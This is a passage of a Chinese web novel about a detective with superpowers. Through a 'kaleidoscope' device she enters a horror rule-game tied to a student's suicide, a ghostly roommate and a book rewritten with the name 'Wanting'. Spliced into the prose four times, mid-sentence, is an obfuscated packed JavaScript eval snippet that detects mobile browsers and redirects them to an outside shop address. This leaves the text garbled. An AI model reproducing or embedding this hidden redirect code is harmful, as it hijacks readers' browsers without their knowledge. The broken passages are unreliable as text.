她问:“已经知道他的长相,可以实施抓捕了吗?” “万花筒里不是他的真实长相。”李队长遗憾摇头,“他在本国及邻国流窜,多次作案,不是没有幸存者。” “但每一个幸存者描述的长相都不一样,她们看见的爱人只是自己想象中完美伴侣的脸。” “所以今天找我来不是为了爱人的案子。”陈影笙笃定地说。 二位队长沉默了一会,老王毫不意外:“你看,我就说她能猜到。” “确实不是为了爱人。”李队长苦笑,“实际上万花筒还在测试期间,不应该立刻拿出来使用,但我们遇上的案件过于棘手,不得不申请特批。” “苏莉的万花筒只是简单试验。”老王把平板电脑给她,上面是一份卷宗,“虽然看了也带不进万花筒,但提前看看心里有底。” 老王说:“你边看我边说。两天前,诞江师范大学爆发一起传染性精神病事件,疑似超能力者作案。” “在市安定医院专家的建议下,我们将大学封校,有效阻止精神病进一步传染。” “目前已知,感染这种精神病的患者会无差别互相攻击,重症者会产生放血自残的想法。” “有人伤亡吗?”陈影笙从机器上跳下来。 “校内一人死亡,三人重伤,多人轻伤。” 案卷刚好翻到死者刘天怡那页,陈影笙愕然:“死因自杀?” “对,法医给出的初步检测结果是自杀,但我们从死者刘天怡身上收集到超能力残留物,可以进入万花筒。” 陈影笙猜测:“用超能力间接导致的自杀?” 老王叹气:“不好说是什么,我们的人进过万花筒了,不仅没有任何收获,还......你来看看吧。” 跟随老王一起来到外面的会议室,陈影笙吃了一惊。会议室的地上直直跪着两个人,他们紧闭双眼,双手十指交叉抵在鼻子下方。 绕过这两人,陈影笙才发现角落的沙发上还有个被拷着的人,他嘴上被贴着强力胶,昏沉沉地熟睡着。 “他们之前参加过万花筒测试,这次万花筒正式投入使用,也被邀请参与破案,却都陷入这种状态。” “和案卷上描述的传染性精神病发病时的症状不一样。”陈影笙仔细观察三人的狂热神态,“像是在祷告。” “确实是祷告。”李队长指了指被拷住的人。 “拷他是为了防止他自残,他是进万花筒时间最长的,也是受影响最严重的。出来后不停地用听不懂的语言念祷词,然后想用锐器给自己放血,打了一剂镇定才安静下来。” “里面究竟发生了什么,有录屏可以看吗?”陈影笙问。 “没有录屏,我们这些在外面观测的人也没有记忆。这次案件的棘手程度超乎所有人想象,诞江大学研究超能力的教授甚至认为是超能力犯罪组织筹谋已久的团体作案。” “不像是单独的超能力者能做到的,难道又是Agape?”陈影笙问。 超能力者的能力再强也有局限性,而且需要满足一个或多个发动条件。 老王摇头:“不知道,我们的信息太少了,关于Agape的信息只知道爱人,关于诞师大传染性精神病的信息更是近乎于零。” “也不是近乎于零。”李颖突然说,“刘天怡未感染精神病的室友和辅导员说,她在自杀前七天玩过伪人游戏。” 伪人游戏是近半个月网上最热门的话题,传说玩过的人会见到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061723|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最想见的人,然后七天不出门,在最后一天被伪人杀死。 “伪人游戏?”陈影笙很意外,“所以伪人游戏致死是真的?我以为那是媒体编的故事。” “不全是故事。”李颖解释,“实际上我们无法确认游戏是否致死。” 虽然游戏现在被全网删除了,但刚火起来时不少人都玩过。 后来有两个人死了,至今死因不明,好事的媒体将伪人游戏和两个死者联系起来,说是玩游戏玩的。 再次观察正在祷告的人,陈影笙沉声问:“他们还会醒来吗?” “我们联系过万花筒的发明者,是诞江大学的一名教授。教授说有两种方法,一种是找人将刘天怡的万花筒彻底破解,另一种是强制唤醒。” “强制唤醒后肯定会丧失短期内的记忆,甚至有损伤脑神经的可能性,这不是我们期望看到的。” 李颖说:“所以我们找到了你,主要是王队引荐的,你之前的破案率让我们把希望寄托在你身上。” “过奖了。”陈影笙的谦虚是为了之后的迫不及待做铺垫,“我现在能进刘天怡的万花筒吗?” “你看到了,风险很大,或许可以等等其他人。”李颖帮被拷住的人翻了个身。 “我以为我破解苏莉的万花筒,通过了测试,有进下一个万花筒的资格。” “那不是测试......算了,你这么理解也没错。”老王递给她笔和纸,“需要把最近一周的重要事项记录一下吗?” “不是不相信你,只是为了以防万一。失败后进行强制唤醒可能丢失三到七天的记忆。” “不需要。”陈影笙拒绝了,“我要立刻进万花筒。” 她紧紧盯着跪立在地上的人,仿佛能透过他闭合的眼皮看见他的眼睛。 “为他人追寻真相的人不应该被这样对待,真相既是为死者讨回公道,也是为生者寻求慰藉与和平。” 李颖意外地看了她一眼,没有多说什么。 他们迅速带着陈影笙回到万花筒旁,让她再次躺在机器上。 “准备好了吗?灯灭后立刻放空思绪观察万花筒。” 陈影笙头顶的圆盘突然高速旋转,仿佛是宇宙中最耀眼的星系,她被强光刺激地眯起眼睛,却被视觉中心的圆形夺去全部心神。 久而久之,她对运动的感知被扭曲,强烈的视觉信号刺激着她的视网膜,视觉系统和内耳的前庭系统都受到影响。 恍然间,她感觉世界围绕着自己旋转起来,然后她也跟着一起旋转。 突然,周围的光亮消失了,万花筒成为空间中唯一的光源,无数细碎的彩色碎片在光的指引下跳跃、交织,形成一幅幅流动的画卷。 马卡龙色调的玻璃碎片相互碰撞,融合出棉花糖粉、柠檬黄、蓝莓紫等温柔而鲜明的色彩,它们在狭小的空间内演绎着无限可能。 图案在眼前飞速变幻,陈影笙好像看到了飘着糖霜的云朵,流淌草莓酱的小溪,还有用彩虹糖铺就的小径。 她失去意识的前一秒听见一个洪亮的声音。 “左絮飞前来报道!” 5. 世上无鬼 玩家幻忆师是被塑料杯子掉在地上的声音吵醒的。 昏暗的室内,幻忆师猛然睁开眼睛。 她仰躺在床上,面无表情地盯着正前方带蕾丝花边的粉紫色蚊帐,透过蚊帐能看到距离很近的天花板。 天花板上贴着一张海报,海报上不认识的男明星咧开嘴笑,露出整整齐齐的八颗牙齿。 幻忆师一动不动地与那不知名的男明星对视,丝毫没有起床的打算。 一个疑问浮上她的心头,为什么塑料杯子掉到地上后就没动静了? 在想明白这个问题之前,她的本能悚然发出了红色预警:危险已经近在咫尺。 幻忆师条件反射般闭上了眼睛。 在她看不见的地方,昏暗的寝室内,一道长发黑影徐徐飘到双层床的上铺前。黑影低下头,长发垂落到幻忆师的脸上:“你是-是-是不是醒了?” 黑影的声音里带着电音,相当古怪,短短的六个字内竟然有卡顿,简直像一台信号接收不良的老式收音机。 幻忆师紧闭双眼一动不动,丝毫没有醒来的迹象。 黑影似乎才注意到自己的长发扫上了室友的脸,它用冰凉的手撩起头发,轻声自言自语:“太好啦,幸好没吵醒她。” 幻忆师感觉到那细软的长发离开了自己的脸,不一会儿,她听见了轻微的关门声,那声音小心翼翼的。 她还是没有动。 十,九,八,七,六,五,四,三,二,一。 很好,十秒钟过去了,那个长发女……管她是人还是鬼,反正她即使回来也需要十秒钟,而这十秒钟足够做一件事。 幻忆师利索地起身,看都不看双层床的爬梯,她单手按住床边护栏,直接翻身跃出床铺,松手的同时屈膝下蹲轻巧地落地,以免发出太大响声把那位室友吸引回来。 无声落地后她迅速站起来,百米冲刺到门边,毫不犹豫地把门锁上了。 幻忆师满意地转身,开始观察这间小小的寝室。 这是一个典型的四人寝,右边是双层床,左边是桌子,里面有一间厕所。 她住在靠厕所的上铺,那位不知是人是鬼的室友住在靠门的下铺。 下铺的蓝白条纹被子上有一块污渍,是室友刚刚打翻了塑料杯子,杯子里的内容物洒在被子上了。 幻忆师谨慎地弯腰,凑近被子,小心地闻了闻。 是茶,还是隔夜茶,茶的品质不怎么样,有股很难闻的树叶味。 幻忆师有些意外,她刚刚做足了心理准备,以为这是血,或者什么不明液体。 毕竟她的好室友刚刚可是站在空中看着她,声音听起来也不像活人。 还有一件更让她在意的事。 这具身体不是她的。 幻忆师绷直身体双眼平视前方,明显感到视界变矮,她本人比这具身体高上不少。 她低下头,看到了自己指尖上带钻和亮片的浅粉色杏仁甲,和蚊帐一个风格。 手指尖充斥着怪异的饱胀感,她把手翻过来仔细检查。 粉色杏仁甲的指甲缝里粘满了死掉的红蚂蚁,有几只没死透的还在蹬腿,或者动动触角。 幻忆师立刻把手举到眼前,研究密密麻麻的蚂蚁。 很可惜,这就是普通的小家蚁,实在没什么特殊的地方。 在厕所里,幻忆师找到一根用过的牙线,用牙线尖锐的那端小心地把指缝里的蚂蚁抠下来。 她满意地把牙线扔回垃圾桶,举起手闻了闻,又伸出舌头舔了舔。 无聊,普通的甜甜的味道,似乎是某种诱食剂,或者就是糖浆,她失望地打开水龙头。 幻忆师一边洗手,一边观察镜子里的女孩。 这女孩不到二十岁,身高一米六左右,体型匀称,长得挺好看,也很时尚。 她纹了微微上挑的雾眉,头发做了隐藏染,掀起过肩长发,能看见耳后一片蓝粉相间的鲜艳发色藏在黑色的头发里,低调又好看。 但比起这张秀丽的面孔和时尚的发色,幻忆师更关注她的耳朵。 耳朵上的耳洞是新扎的,边缘处伤口泛着肉粉色,上面带着一对基本款防过敏金耳钉。 像是大一新生,刚上大学,终于拥有打耳洞的自由。 突然,镜子的左下角出现一团白影,她迅速回头,身后什么都没有。 “咔” 幻忆师的脖子发出一声轻微的响声,她的身体僵住了,连把头转回来都做不到。 既然镜子倒映的不是现实,那么只剩下一种可能。 这里真的有鬼。 幻忆师保持着回头的姿势,电光火石间想通了一件事,就算镜子映出来的那玩意真是鬼,也不会立刻把她杀死,因为这场游戏才刚刚开始。 她沉默地将头转回来,去看镜子。 一名白发金瞳身穿白裙的少女站在镜子里,双手捧着一张写满红字的老旧纸张,含笑看着她。 按照幻忆师的性格,她必然会饿虎扑食般阅读并背诵那些文字,然而她无法把视线从少女的脸上移开。 上一次在小镜子中没有看清,这一次她发现,少女简直是“美丽”两个字的投射。 纤细的身材,白到微微发光的皮肤,柔顺的白色发丝如同失去重力般在她周身飘荡。 虹膜和瞳孔都是浅金色的,被白色的睫毛簇拥着,颜色淡到让人忍不住觉得她不能视物。 但更具备冲击力的是这份“美丽”,仿佛直接把“美丽”这个概念灌输进脑海里的非人的美丽,让人眼睛发疼的美丽,看久了甚至会产生疲惫感的美丽。 幻忆师强迫自己闭上眼睛,再睁眼时,她的全部注意力集中在白发少女手中的纸张,那张纸上写着这样的文字: 1.你已经死了,且这个世界上没有鬼。 2.你必须喜欢你的寝室,也喜欢你的室友。你有且仅有一个室友,你的室友有且仅有一个鼻子一张嘴两只眼睛,不要拒绝室友的要求。 3.禁止阅读本游戏内以任何载体记录的文本内容,如果一定要阅读,请勿理解其含义;如果已理解其含义,请在向他人传播前立即自尽。 4.在向沈教授进行死因汇报前,你不能死亡。 5.本规则共伍条,请注意,“制定成功并被书写出来的规则都是明确且简洁的”是逻辑公理。因为世界上存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061724|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超能力者,所以“已死之人可能杀人”是非逻辑公理。 阅读完最后一个字的瞬间,幻忆师身体一轻,视界突然变高。 幻忆师向左微微转动视角,不出意外地看见了大桶里死去的自己,或者说这具身体的原主人。 这个年纪的女孩总是追求完美到笨拙的精致,她身上穿着一条华丽的紫色裙子,安静柔软地蹲坐在塑料大桶里,桶内的水被鲜血染成了红色。 那血红色与女孩藏染的蓝粉头发交织在一起,映在幻忆师的瞳孔中,刺得她眼睛发疼。 幻忆师终于想起来了,她是一名侦探,作为玩家来到这里,唯一目的是根据规则通关怪谈游戏。 这些规则古怪且复杂,第三条规则禁止阅读更是引人发笑,如果玩家不看游戏内的任何文本,不可能看到这条规则。 幻忆师走出厕所,坐到属于自己的那张书桌前。 桌子上一半都是指甲油和化妆品,这些瓶瓶罐罐被整齐地码在白色透明亚克力收纳盒中。 没有找到这具身体原主人的手机和电脑,幻忆师扫了一眼自己花里胡哨的桌面,只找到了一件有用的东西,一只棕色眉笔。 她拿起眉笔,向室友的书桌走去。 幻忆师每拿起一件物品,都会用眉笔标记一下,确保东西能放回原本的位置。 她注定要失望了。 室友的这张书桌上乏善可陈,一卷快用完的宽胶带,一个掉漆的笔筒,一把钝钝的壁纸刀,一个眼镜盒,一个老旧的自拍杆,一台屏幕上有裂痕的平板,这就是桌子上的全部东西。 这些东西杂乱无章地放在桌面上,幻忆师抽出一张加厚绵柔纸巾,把三层纸分开。 她用其中一层薄薄的纸裹住手指,开启室友的平板,以防在屏幕上留下指纹。 屏幕上显示着时间,新历99年1月1日,把屏保页面划走后需要输入密码才能解锁。 马上要期末考试了,幻忆师判断。她迅速将目光移向书架,把书抽出来草草翻阅。 大致阅览完所有书,幻忆师陷入沉思,为什么会有人给二手书包书皮呢? 这真的是很令人迷惑的一件事,室友所有书都是二手的,明显是从学长学姐那里买来的。 《高等数学》和《大学物理》这两本书甚至像三手、四手书,书里有三四种不同的笔迹,书皮都被磨掉色了。 书架上还有几张漂亮的马卡龙色封面纸,看起来是给剩下的书预备的。 值得一提的是,没包书皮的旧书封面上都有“婉婷”的字样,是用0.25mm极细蓝笔写的清秀小字。 看起来像个人名,但没有姓氏,字写得相当用力,仿佛被刻进覆膜过的硬质封面。 会有大学生像个小学生一样在书上写名字吗? 唯一一本崭新的书是东野圭吾的《恶意》,这本书没有包书皮,它的主人似乎也没有给它包书皮的打算,它干干净净地躺在一群包着相同书皮的二手书中间,沉默地诉说着什么。 幻忆师盯着它看了一会,隐隐感到一丝怪异与不安,她伸手去拿书时,寝室外响起了门把手被拉动的声音。 室友回来了。 6. 婉婷 幻忆师伸向《恶意》的手停顿了一下。 仅仅停顿了一瞬,她迅速将书抽出来,快速翻阅着。 简单看了一下,是很普通的一本《恶意》,和她看过的没什么不一样。 在她翻书的这短短几分钟内,门外拉门把手的声音越发焦躁,那声音已经演变成了咣咣的砸门声,连门框都一起震动。 这反而让幻忆师安心,这一切只能说明门外是人,不是什么拥有超自然力量的东西。 幻忆师把书桌上的东西都按照眉笔标记归还到原处。 她把眉笔的痕迹擦掉,打开厕所的排风扇,对着镜子用陌生的脸调整出一副不耐烦的表情,自然而然地开了门。 再不开门,门就要被砸开了。 门外是一个长发女孩,这女孩身高不到一米六,体型微胖,穿着件半掌袖运动衫。 此时此刻,女孩左手提着豆浆和包子,右手手指不停地揉搓半掌袖袖口,目光中隐含怯意,不敢与幻忆师对视,似乎很怕她。 原因无他,幻忆师实在是太理直气壮了,明明她才是那个不给室友开门的人,她却单手叉腰,满脸不耐烦,用一种审视的目光打量着室友,似乎不准备先开口说话。 在这种沉默的氛围中,室友顶不住压力,尴尬道:“对不起,天怡,我是不是吵醒你了?” 她砸门的动静都能把死人吵醒,幻忆师转身进寝室:“我刚刚在厕所里,没法给你开门,你砸门干什么?” “我、我怕你自己在寝室里出事。”室友唯唯诺诺地跟在幻忆师身后。 幻忆师回头盯着她:“你为什么确定我在寝室里?” 室友愣住了。 寝室门被锁上,拉门也没人给开,惯性思维下会认为寝室里没人,正常人早去找宿管阿姨借钥匙了,没人会这样砸门。 幻忆师直视室友的眼睛,室友眼神躲闪:“对不起,我就是太着急了,你吃早餐吗?” 难道我有什么必须留在寝室的原因?幻忆师没有回答室友,她拉开椅子坐下。 室友也小心地坐在自己的位置,连声音都不敢发出来,她胡乱把桌子上幻忆师精准归还原位的东西推开,放上自己的早餐。 幻忆师玩弄眉笔的手僵住了。 她发现很矛盾的一点,书桌上乱放东西说明室友不是仔细的人,但包书皮这个行为却是细心且有耐心的人才能做出的事。 室友像突然想起什么,从包里翻出一个肉桂卷。她左手紧紧攥着帆布包,右手轻轻捏着肉桂卷的边,将其递过来。 “谢谢,你吃吧,我不太想吃早饭。”幻忆师权衡一番,最终选择一个比较委婉的方式表达拒绝。 室友抬头和幻忆师对视,她的表情奇怪极了,仿佛在期待规则被违反。 从室友手里接过肉桂卷,幻忆师把它掰成了两半。 里面全是活蹦乱跳的红蚂蚁。 幻忆师任由蚂蚁顺着手指爬上自己的手腕:“我突然想吃了,我们一人一半吧。” 幻忆师确信,在她这句话尾音还没落下的一瞬间,室友的五官扭曲了。 是真正意义上的扭曲,不是做了个狰狞的表情,室友的嘴角向上平移了三厘米,眼角向下弯曲,整个眼睛变成了古怪的三角型,看起来荒诞可笑。 这一瞬间短得好像错觉,室友惊慌尖叫:“蚂蚁!手全在蚂蚁上!” 她可能是在恐惧的刺激下说错话,也可能它不是人类,无法学会人类语言的语序。 幻忆师攥紧手指,捏死一只红蚂蚁。 室友一把拽起幻忆师,踉踉跄跄地向厕所走去:“我们去洗手。” 厕所是原身的死亡地点。 幻忆师犹豫了一下,还是任由室友把自己拉进厕所,边洗手边问了个一直想知道的问题:“厕所那么小,为什么放个大塑料桶?” “是你买的,说要泡澡。”室友低头拿纸。 沉默好久,幻忆师才憋出一句话:“确实,有个桶放这儿大家都能用。” 室友抽纸的手停住了,她悄悄看了看幻忆师,小声说:“我真没用过,天怡,上次也不是我弄脏的。我一直记得你说的话,没碰过这个桶。” “你那些书为什么包书皮?” 室友木然抬头:“书皮是你给我的呀,说二手书太穷酸,包上遮一下。” 幻忆师的预感成真了。 从看到《恶意》的那一刻起,潜伏在心底的不安在此时兑现成真。 她深吸一口气,代替身体的原主人道歉:“别包了,太浪费时间,说二手书穷酸是我不好,对不起。” “而且老书有老书的好处,上面说不定有老师给上一届画的重点,正好过完元旦要考试了。” 铺垫了那么多,幻忆师图穷匕见:“所以,你能不能把那些书借给我看看?” 室友低着头,把纸巾包装扣得簌簌作响,她的神色掩藏在刘海下:“我看过那几本书,上面没有画重点。” “我再看一遍,如果有重点就总结下来分享给你。” 从刘海下面抬起眼睛,室友用一种莫名的眼神看着她:“对不起,我忘了你和我不一样。” “为什么道歉,我们在一起生活学习,能有什么不一样?”幻忆师简直头皮发麻,她发现“对不起”三个字是这位室友的口头禅。 “对不起,我忘了你努力刷绩点想申请国外大学的研究生。” “而我只要不挂科能毕业就行。” 劝阻的话语涌到嘴边,被幻忆师硬生生憋回去,理智告诉她,这些说教意味过重的话不适合也不需要对眼前的女孩说。 她提出了最后的请求:“专业书就算了,我今天不想学习,那本小说能借我看看吗?” 室友沉默着走出厕所,将《恶意》从书架上抽出来递给她。 摩挲着《恶意》的封面,幻忆师没有翻开。 《恶意》中有一个关于霸凌的故事,被害人与凶手从小相识,凶手小时候被霸凌到不敢上学。 被害人拯救了凶手,凶手却辜负他加入霸凌团体,然后该霸凌团体开始欺负被害人。 多年以后,被害人成为知名作家,著有一本以霸凌为题材的小说。 凶手厚着脸皮找上门来,被害人并不在乎少年时的事情,主动在事业上帮助他,将他引荐给出版社。 凶手却满怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061725|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫉妒和恨意,杀死恩人,甚至想败坏被害人的名声,将他的作品据为己有。 小说采取第一人称视角,文中的“我”是一名警察,读者跟随着警察的视角一路侦破案件。 幻忆师坚信,这本《恶意》绝对是关键道具,肯定在隐喻着什么。 翻开小说的瞬间,幻忆师睁大了眼睛,瞳孔紧缩。 这不是《恶意》,或者说,这不是原先她翻阅过的那本《恶意》,小说内容没有变,但人名都被改成了婉婷,用0.25mm极细蓝笔写的清秀的婉婷。 ...... 【答案就在婉婷的笔记里。】 【婉婷还有留下什么遗物吗?】 【我刚刚讲的那些全是婉婷的指示。】 ...... 婉婷婉婷婉婷婉婷婉婷婉婷,幻忆师呼吸急促,飞快翻阅着。 前几页是用蓝笔将原本的人名划掉,再在行距间写上婉婷,到了中间部分原著人名被红色的婉婷覆盖。 后面更是直接修改文本,印刷出来的婉婷两字替代了原本的人名,不仔细阅读内容根本看不出来。 幻忆师合上了书。 她发现自己忽略了很重要的问题。 这具身体的原主人全名叫什么,室友叫什么,婉婷又是谁? 那是一个死者,一个冤魂,或是一个未亡人。 幻忆师猛地转头,正对上室友的眼睛。 室友侧头看着她,眼神清澈:“怎么样,这小说好看吗?” 幻忆师若无其事:“挺好看的,我很喜欢。” 随意从书架上抽出两本专业书,幻忆师准备出门,她想调查一下规则中提到的沈教授。 室友慌乱地站起来:“天怡,你去哪,你要出去吗?” “我去上课。” “可是,今天是最后一天了,你真的要出去?”室友疑惑极了。 “什么最后一天?” “你忘了吗?”室友歪头看着她,“七天前,你玩了个伪人游戏,之后就神神叨叨地让我监督你一周不要出门,今天是第七天。” “这一周,所有的课你都找代课,话剧社的排练你找借口请假,学生会外联部开会也不去。” “连电脑手机这些东西都扔给黑哥,黑哥很担心你,我昨天去给话剧社送东西,黑哥还问我你怎么样了。” “哦。”幻忆师不作出任何反应,或者说她不知道该对此作出什么反应,“黑哥为什么担心我?” “你都......黑哥肯定担心你。我在食堂碰见王悦,王悦也很担心,说要来看看你。” 幻忆师猜测这个黑哥可能是天怡的男朋友。 “而且你就这么出门了?”室友奇怪地看着她,似乎在暗示什么。 低头看了看自己身上的着装和手里的专业书,没有任何不妥的地方,幻忆师感到一阵莫名其妙,她含糊地嗯了一声,抬手去拉寝室的门。 她的手刚碰上门把手,门就被向里推开了。 仓促间,幻忆师下意识向后躲闪,完全没看见站在她身后的室友,只感觉自己狠狠踩了室友的脚,她那可怜的室友被她撞倒在地。 7. D.D.D. 没有理会闯进来的人,幻忆师弯腰伸手想拉室友起来。 她单手拽了一把,没拽动。 看她不动,间接导致这个狼狈场面的年轻女性开口质问:“刘天怡,你把任珊珊怎么了?” 没有对此进行任何解释,幻忆师固执地伸出两只手将任珊珊的手合握在掌心,再次用力把她拉起来。 任珊珊本能地伸出另一只手想借力站起来,却在碰到幻忆师的双手前触电一般缩了回去。 在她把手缩回去的同时,幻忆师松开了双手,诚恳道歉:“对不起,刚刚开门时不小心踩到你。” 逼仄的寝室内充满尴尬的气氛,过了好一会,任珊珊才如梦初醒:“我没事,王悦你这么快就来了?” 刚进来的王悦扶了扶眼镜:“我来看看你和刘天怡,天怡你发的短信太吓人了。” “什么短信?又是伪人?”幻忆师猜。 王悦迟疑了一下:“你不记得?” “我最近精神状态不太好,很多事情记不清了。”幻忆师随口说。 “那天晚上,你突然给我发消息,说你看见婉婷了,我都吓傻了。” “这所大学里,认识婉婷的只有我们两个,她以前和你那么要好,你不该拿这件事跟我开玩笑。” “婉婷她,五年前就死了,明明是你亲眼看见她从咱们中学的宿舍楼楼顶跳下来。” “然后,”王悦尴尬地看了看任珊珊,“你还发信息给辅导员,说室友变成伪人了。” “辅导员很重视,特意来寝室关心你,毕竟最近网上传言说有人因伪人游戏自杀。结果你突然说没事,一切只是你的恶作剧,把辅导员气跑了。” 幻忆师追问:“之后呢?我把手机电脑全给我男朋友,把自己闷在寝室里七天不出门?” 王悦缓缓点头。 “他现在在哪?” “在上课,应该是在综合楼2楼上沈教授的公共课。” 公共课是大学里不分专业,所有人都需要学习的公共基础课程。 幻忆师把手里的两本书胡乱塞回书架,眼神在那几本公共课教科书中逡巡着。 一直不说话的任珊珊突然开口:“沈教授教的是超诞发。” 如果幻忆师没上过大学,她一定听不懂任珊珊在说什么,毕竟学生们给大学课程起的简称大多稀奇古怪。 比如称大学物理为大雾,高等数学叫高树,任珊珊所说的课全名是超能力的诞生与发展。 在连自己真名都不知道的情况下,幻忆师惊奇地发现,她竟然拥有关于大学的记忆,只是忘记有关自己的部分。 上一个万花筒过于匆忙,她没有关注自己的记忆。 她猜测“游戏”抹除了“玩家”记忆中关于自我的部分,仅保留对通关有用的部分。 从书架上抽出书,在书里夹一支笔,幻忆师穿上大衣去上课。 王悦叫住她:“你就这么出门了?” 这句话和任珊珊刚才问的一模一样,她们提问时脸上的表情都有相似之处。 幻忆师实在不知道出门上堂课还需要带什么,只能虚心请教:“我忘带了什么东西吗?” “不是,你不化妆?” 这个回答让幻忆师重新评估刘天怡,她眼睛都不眨:“过敏,没法化妆。” 把她从头到脚打量一遍,王悦狐疑:“婉婷和伪人不会全是假的吧?是你这种不化妆不出门的人找的借口吧?” 幻忆师呵呵一笑,头也不回地迈出寝室大门。 向过路的同学问明方向,幻忆师不紧不慢地朝综合楼走去,她甚至还有闲心回忆自己的校园生活。 在她有限的回忆里,超诞发这门必修课相当无趣。 从第一名超能力者被公开至今仅99年,超能力者在整个人类群体中是少数存在。 本国五年前的一次人口普查结果显示,全国十亿人口中登记在册的超能力者不足500万人,他们才占了一国人口的千分之五。 更何况,不是所有超能力都像新历前的超级英雄漫画里描绘得那么炫酷,大部分超能力毫无用处。 比如把一坨丑陋的屎变成卡通便便的能力;让方圆五米内公蚊子变成母蚊子的能力;使绿香蕉快速成熟变黄的能力。 以上三个真实例子中只有最后一个可能有点用处,拥有它的超能力者至少能找到一份和香蕉相关的工作。 这也导致绝大部分超能力者愿意前往大城市寻找机会,即使他们的超能力再稀奇古怪,在大城市中也会有用武之地。 幻忆师所在的诞江市正是一座大城市,超能力者的聚集导致大量超能力犯罪,给幻忆师这样的侦探提供许多工作。 可想而知,她对超能力的了解比一些能力者还要深入,超诞发这门课对她来说自然很无趣。 但是,幻忆师当年上课时所学的东西肯定不包括“向任课教授汇报自己的死因”这一项。 她站在综合楼二楼的教室门前,迟疑了一下,决定先听一听里面在讲什么。 沈教授富有穿透力的声音从门缝中传来:“......十年寂静期间,超能力战争悄然停止,无人料到之后会有一场没有硝烟的战争,这是一个超能力者的自我膨胀与一意孤行......” “......那之后的几年时间,本我教迅速扩张,局势十分严峻。” 幻忆师很熟悉她讲的内容,新历5-13年爆发了一场超能力战争,然后迎来了十年寂静。 十年里没有一个新的超能力者诞生,战争终结。新历24年,新的超能力者诞生了,人们珍惜来之不易的和平。 6年后,一名叫洪金胜的超能力者创建本我教,宣称是自己得到神授才结束十年寂静。 他声称自己知道超能力的本源,能帮助世界上所有人获得超能力。后来洪金胜死亡,他的余党被抓,本我教解散,部分教徒转到地下传教。 她站在门口又听了一会,慢慢推开门。 一个皮肤黝黑长相老成的男学生听见声音立刻回头看她,并在桌子底下小幅度招手。 这位想必就是黑哥了。 幻忆师顺着阶梯教室的边缘轻手轻脚地走过去,坐在他身边,黑哥冲她傻兮兮地笑了笑,给她看手机。 手机屏幕上是黑哥和王悦的聊天记录,王悦告诉他刘天怡要来教室找他。 幻忆师想了想,把手向上摊开举到黑哥面前,同时做了一个口型:手机。 黑哥恍然大悟,不带半点犹豫,把自己的手机塞给她,还贴心地帮她往上翻了翻和王悦的聊天记录。 幻忆师默然无语,看来查聊天记录事件在这对小情侣间发生过无数次,以至于黑哥已经养成习惯。 她再次做了一个口型:我的手机。 黑哥还是没有懂。 无奈之下,幻忆师只能压低声音说:“我的手机电脑。” 这一声压得再低,在沉闷无声的教室里也很明显,惹得沈教授往他们这个方向看了一眼。 “......众所周知,无论是什么样的超能力,都有一个或多个发动条件......” 黑哥做贼心虚般回避沈教授的视线,转身从背包里翻出一部手机递给她。 手机无法开机,急需充电。 幻忆师没再发出声音,她察觉出沈教授是一位相当注重纪律的老师。 偌大的阶梯教室至少有三个班的学生,课堂上有人睡觉有人玩手机,但没人敢发出多余的声音。 拽了张黑哥桌子上的草稿纸,幻忆师写道:我的电脑呢?充电宝借我用一下。 黑哥在电脑二字下面画了条线:没带,回寝室给你拿。 幻忆师接过笔,还想问他点什么,圆珠笔的滚珠刚落在纸上,就听见“咚——”的一声响。 充电宝被黑哥不小心掉在幻忆师脚下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061726|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那位刚进来的女同学。” 沈教授严厉的声音似乎刺穿了黑哥的脑子,他捡完充电宝后一头撞在桌板底部,发出比充电宝掉落还大的巨响。 先把捂着后脑勺的黑哥从桌子底下拉出来,幻忆师站起来道歉:“不好意思,打扰您讲课了。” “我不是说这个。”沈教授顺着鼻梁推了推下滑的眼镜,“你周一来上课了吗?” 幻忆师不可能说我没来我找的代课,她只能撒谎:“来了。” 沈教授点了点头:“周一我讲的内容还记得吗?” 怪不得教室里没人敢说话,幻忆师腹诽,她板板正正地回答:“记得。” “很好。”沈教授满意地点头,“那么我考考你,先来个简单的,伪人探测部门的缩写是什么?” 